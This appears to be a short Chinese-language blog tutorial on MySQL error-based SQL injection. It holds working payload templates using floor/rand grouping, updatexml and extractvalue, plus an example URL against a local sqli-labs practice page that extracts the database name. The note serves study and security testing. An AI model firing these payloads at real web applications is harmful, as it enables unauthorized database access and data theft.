报错注入的前提:
页面上没有显示位但是有sql语句执行错误信息输出。
mysql_error()函数
作用:返回上一个Mysql操作产生的文本错误信息
如:
在用php对mysql进行一些增删改查操作的时候,如果数据库在执行的过程 中遇到错误,此时数据库是有错误回显的,但是这个错误回显不会显示在Web应 用页面中的。
如下是php脚本错误信息
需要php.ini 中display_errors=On开启PHP错误回显。
1、通过floor报错
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
注:输出字符长度限制为64个字符payload填sql语句
如查询当前数据库
http://127.0.0.1/sql/Less-5/?id=1' and (select 1 from (select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
2、通过updatexml报错
and updatexml(1,payload,1)
and updatexml(1,concat(0x7e,@@version,0x7e),1)
注:输出字符有长度限制,最长32位
如 下图
3、通过ExtractValue报错
and extractvalue(1, payload)
and extractvalue(1, concat(0x7e,@@version,0x7e))
注:输出字符有长度限制,最长32位
payload可以按照上一篇联合查询注入博客中的写,都是一样的